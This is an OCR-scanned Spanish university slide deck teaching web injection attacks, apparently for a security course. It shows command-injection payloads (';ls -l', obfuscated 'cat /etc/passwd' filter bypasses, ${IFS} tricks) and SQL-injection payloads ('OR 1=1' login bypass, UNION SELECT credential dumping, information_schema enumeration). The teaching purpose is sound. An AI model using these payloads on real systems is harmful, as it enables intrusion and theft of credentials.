Web Il: Inyecciones

El Noach y Bona

u Universidad
Rey Juan Carlos



Inyecciones

Universidad
Rey Juan Carlos



Indice: Inyecciones

1. Qué es una inyeccion?

2. Tipos de inyecciones

3. Command Injection

4. SQL Injection



Inyecciones I

Caracteristicas
1. Es un tipo de ataque web

2. Se aprovechan de codigo ya existente
con el fin de anadir el suyo

3. Existen muchos tipos, uno por cada
lenguaje
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Inyecciones II

Tablas de instrucciones del servidor
/\ Instruccion 1: Codigo benigno

Instruccion 2: Codigo benigno

Instruccion 3: Codigo malicioso

) Instruccion 4: Codigo benigno

\\)‘/ Instruccion 5: Codigo benigno




e

u

Universidad
R oy juan Carlas

Inyecciones III

OWASP Top 10

2017

AD1:2017-Injection
AD2:2017-Broken Authentication ~
A03:2017-5ensitive Data Exposure --::“*-I
AD4:2017-XML External Entities (XXE)
A05:2017-Broken Access Control
A06:2017-Security Misconfiguration =
AD7:2017-Cross-Site Scripting (X55)

AD8:2017-Insecure Deserialization = -
A09:2017-Using Components with Known Vulnerabilities =
A10:2017-Insufficient Logging & Monitoring —

-

2021
- A01:2021-Broken Access Control

-—xh:r#:’_._.-—) A02:2021-Cryptographic Failures

21A03:2021-Injection
‘Fuew] AD4:2021-Insecure Design

.= A05:2021-Security Misconfiguration

x A06:2021-Vulnerable and Outdated Components
"\ A07:2021-Identification and Authentication Failures

{(New! A08:2021-Software and Data Integrity Failures

= A09:2021-Security Logging and Monitoring Failures*

(New) A10:2021-Server-Side Request Forgery (SSRF)*

* From the Survey
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Command Injection: Indice

1. Command Injection
2. Concatenaciones de comandos
3. Bypass

4. Practice time
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Command Injection I

IP Pinger - Ping IPv4 Address Online

Online Ping IPv4 tool sends ICMP packets to ping a destination IP or domain to check whether it's accessible on the IP network.

Enter Domain or IPv4 Address:

free-gems2025.com

Use any IP / Domain or Your [P

Ping IPv4

Related tools

Ping IPv6 IPv4dtoIPvé IPtoLocation Online Traceroute




Command Injection I

cQuée esta pasando por detras?

Code...

Code...

IP = get_ip_from_page();

output = execute_command( "ping —c 4" + $IP );
print_in_page( output );

Code...

Code...



Command Injection I

cQué esta pasando por detras?

Code...

Code...

[P = get_ip_from_page(); // IP=8.8.8.8

output = execute_command( "ping —c 4" + $IP ); // ping —c 4 8.8.8.8

print_in_page( output );
Code...

Code...



Command Injection I

(V1)
) &
¢Qué esta pasando por detras? i‘%
Code...
Code...
[P = get_ip_from_page(); //IP=8.8.8.8;1s-1;
output = execute_command( "ping —c 4" + $IP ); // ping c 4 8.8.8.8 ;1s -1

print_in_page( output );
Code...

Code...



-
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Command Injection I

focabOr@ in ~/a took 2s

\ ping -c 4 8.8.8.8
PING 8.8.8.8 (8.8.8.8) 56(84) bytes de datos.
64 hytes desde
64 hytes desde

: icmp_seq=1 tt1=120 tiempo=18.4 ms
: icmp_seq=2 tt1=120 tiempo=18.2 ms

8.8.8.
8.8.8.

64 bytes desde 8.8.8.8: icmp_seq=3 tt1=120 tiempo=22.7 ms
8.8.8.

64 bhytes desde

--- 8.8.8.8 estadisticas ping ---

4 paquetes transmitidos, 4 recibidos, 0% packet loss,

rtt min/avg/max/mdev = 18.169/20.298/22.714/2.054 ms

in ~/a took 3s

: icmp_seq=4 tt1=120 tiempo=22.0 ms

time 30C

‘ focablr@ in ~/a took 3s

—A ping =c 4 8.8.8.8 : ls -L :
PING 8.8.8.8 (8.8.8.8) 56(84) bytes de datos.
64 bytes desde 8.8.8.8: icmp_seq=1 tt1=120 tiempo=16.9 ms
64 bytes desde 8.8.8.8: icmp_seq=2 tt1=120 tiempo=17.4 ms
64 bytes desde 8.8.8.8: icmp_seq=3 tt1l=120 tiempo=17.2 ms
64 bytes desde 8.8.8.8: icmp_seq=4 tt1=120 tiempo=17.4 ms

--- 8.8.8.8 estadisticas ping ---

4 paquetes transmitidos, 4 recibidos, 0% packet loss,

rtt min/avg/max/mdev = 16.892/17.214/17.384/0.194 ms
PW-p--p 17 focabOr 19 oct 21:15 @ secretfile.txt

in ~/a took 3s

time 30(¢




Command Injection I

PI’()XiHlOS pasos... Instalar malware

Modificar la pagina

Leer archivos del web

servidor

Robar la Base de

Crear una backdoor
Datos




Command Injection II

Concatenaciones de comandos
e commandl ; command?
e commandl && command?

 commandl || command?2

e commandl | command?

« commandl $( command?2 )



BYPASS
de

- filtros




Command Injection III

Bypass blacklist de palabras

| Prohibido utilizar "passwd"
$> cat /etc/pas$()swd
$> cat /etc/passb@wd

$> cat /etc/pass wd



Command Injection III

Bypass de espacios

| Prohibido utilizar espacios

$> echo${IFSla${IFS!Bona${IFSie${IFSifalta${IFS}icalle

"o in ~ via C v15.1.1-gcc took 1s
A echo${IFS}a${IFS}Bona${IFS}le${IFS}falta${IFS}calle

a Bona le falta calle




Command Injection III

cQue pasa si la aplicacion web no devuelve el
output de la consulta?

Blind Command Injection
$> sleep

$> time



Command Injection III

cQue pasa si la aplicacion web no devuelve el
output de la consulta?

Out-of-band exfiltration
e DNS exfiltration

e Webroot exfiltration






SQL Injection
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cQué es SQL?



SQL es un lenguaje de programacion dedicado a bases de datos relacionales

Relacional
pasaporte [pnombre |appaterno |apmaterno |fono fnacimiento .
12095444 |Alberto Gbémez Martinez 2345676 |[20/11/1969
9509590 |Luisa Jordan Soto 3344567 |12/09/2000
19456873 |Cristian  |Muioz Pereira 4567912 [12/10/2010 IVI H S QL®
20345765 |Josefina |Carvajal Duran 3456835 |05/06/2011
15687490 |Marcos |Ramirez Ponce 28/02/1978

&
"




Qué es SQL:Sintaxis

SELECT nombre, edad FROM usuarios COMENTARIOS:
-- comentario
SELECT * FROM usuarios WHERE edad > 18
/ *comentario®*/

SELECT * FROM usuarios LIMIT 5
# comentario -> MySQL

SELECT ‘ola’, 1

/[ \

String Integer



Qué es SQL: Operadores logicos

A B

A A
( \ ( \
SELECT * FROM usuarios WHERE edad > 18 AND name = ' Nacho_putero'

AND OR NOT
b o sl lo i A [reniaio
TRUE TRUE TRUE TRUE TRUE TRUE TRUE FALSE
TRUE FALSE FALSE TRUE FALSE TRUE
FALSE TRUE

FALSE FALSE FLASE FALSE FALSE FALSE



Qué es una SQLi
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input

F__l__W

SELECT * FROM usuarios WHERE username = ‘Nacho’

=¥ Input malicioso : dentro‘fuera &

N’ @

SELECT * FROM usuarios WHERE username = ‘dentro’fuera’

No da error

SELECT * FROM usuarios WHERE username = ‘dentro’fuera --’ -~



Login bypass con SQLi

LOGIN

SELECT * FROM usuarios WHERE username = ‘Nacho” AND password ="Bonaesmejor’

True

A
[ |
SELECT * FROM usuarios WHERE username = ‘Nacho” OR 1=1 -- -© AND password
='Bonaesmejor’




ica

Pract
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Tabla de usuarios Tabla de comidas

Bona cachopo salado

2 Nacho ola y 2 natilla dulce

SELECT * FROM usuarios UNION SELECT * FROM comidas

1 Bona 123
2 Nacho ola
1 cachopo salado
2

natilla dulce
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UNION injections: De que nos sirve UNION

SELECT id, producto, stock FROM “inventario’

W oroducto ook

1 play Si

2 xbox no

SELECT id, producto, stock FROM ‘inventario’ UNION SELECT null, usuario, contrasenas FROM usuarios -- - ¢

o looduto sk

1 play Si
2 xbox no
Nacho 123

Bona ola



Enumeracion

Nombres de bases de datos:

UNION SELECT 1,2,3,4,schema_name FROM information_schema.schemata

Nombres de tabla

UNION SELECT 1,2,3,4,table_ name FROM information_schema.tables WHERE
table schema=urjcdb

Nombres de columnas

UNION SELECT 1,2,3,4,column_name FROM information_schema.columns WHERE
table name-=...



""" MEnumeracion: Nota

Tabla: flag

Columna: flag value
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